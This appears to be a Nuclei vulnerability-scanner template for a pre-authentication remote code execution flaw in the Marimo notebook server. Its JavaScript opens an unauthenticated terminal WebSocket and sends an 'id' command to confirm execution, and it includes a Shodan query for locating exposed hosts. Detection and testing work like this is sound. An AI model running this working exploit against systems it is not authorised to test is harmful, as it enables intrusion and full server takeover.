id: CVE-2026-39987 info: name: Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE author: ritikchaddha severity: critical description: | Marimo versions <= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server. impact: | An unauthenticated attacker can achieve full remote code execution on the server by connecting to the exposed terminal WebSocket endpoint without any credentials, gaining complete control of the underlying system. remediation: | Upgrade to Marimo version 0.23.0 or later which adds authentication validation to the terminal WebSocket endpoint. reference: - https://github.com/advisories/GHSA-2679-6mx9-h9xc - https://nvd.nist.gov/vuln/detail/CVE-2026-39987 - https://github.com/marimo-team/marimo classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N cvss-score: 9.3 cve-id: CVE-2026-39987 epss-score: 0.95338 epss-percentile: 0.99858 cwe-id: CWE-306 metadata: verified: true max-request: 1 vendor: marimo-team product: marimo shodan-query: http.favicon.hash:-1864630356 tags: cve,cve2026,marimo,rce,websocket,vkev,kev javascript: - code: | let net = require("nuclei/net"); let addr = target_host + ":" + target_port; let conn = net.Open('tcp', addr); let wsKey = "dGhlIHNhbXBsZSBub25jZQ=="; let req = "GET /terminal/ws HTTP/1.1\r\n"; req += "Host: " + addr + "\r\n"; req += "Upgrade: websocket\r\n"; req += "Connection: Upgrade\r\n"; req += "Sec-WebSocket-Key: " + wsKey + "\r\n"; req += "Sec-WebSocket-Version: 13\r\n"; req += "Origin: http://" + addr + "\r\n"; req += "\r\n"; conn.Send(req); let upgradeResp = conn.RecvString(); if (upgradeResp.indexOf("101") !== -1) { conn.SendHex("818337fa1e2d5e9e14"); let output = ""; for (let i = 0; i < 5; i++) { let chunk = conn.RecvString(); if (chunk.length > 0) { output += chunk; } if (output.indexOf("uid=") !== -1) { break; } } conn.Close(); Export(upgradeResp + output); } args: target_host: "{{Host}}" target_port: "{{Port}}" matchers-condition: and matchers: - type: regex regex: - "uid=\\d+\\([^)]+\\)" - type: dsl dsl: - "success == true" extractors: - type: regex regex: - "uid=\\d+\\([^)]+\\)" # digest: 490a0046304402202c79672930d9c2be2f8132312abbcb2656272cddaf6ec541dea53605551822360220318b2290bd3643a1e75c5529195c00e2a2c1bcbc1bfd888d637ae971624aa430:922c64590222798bb761d5b6d8e72950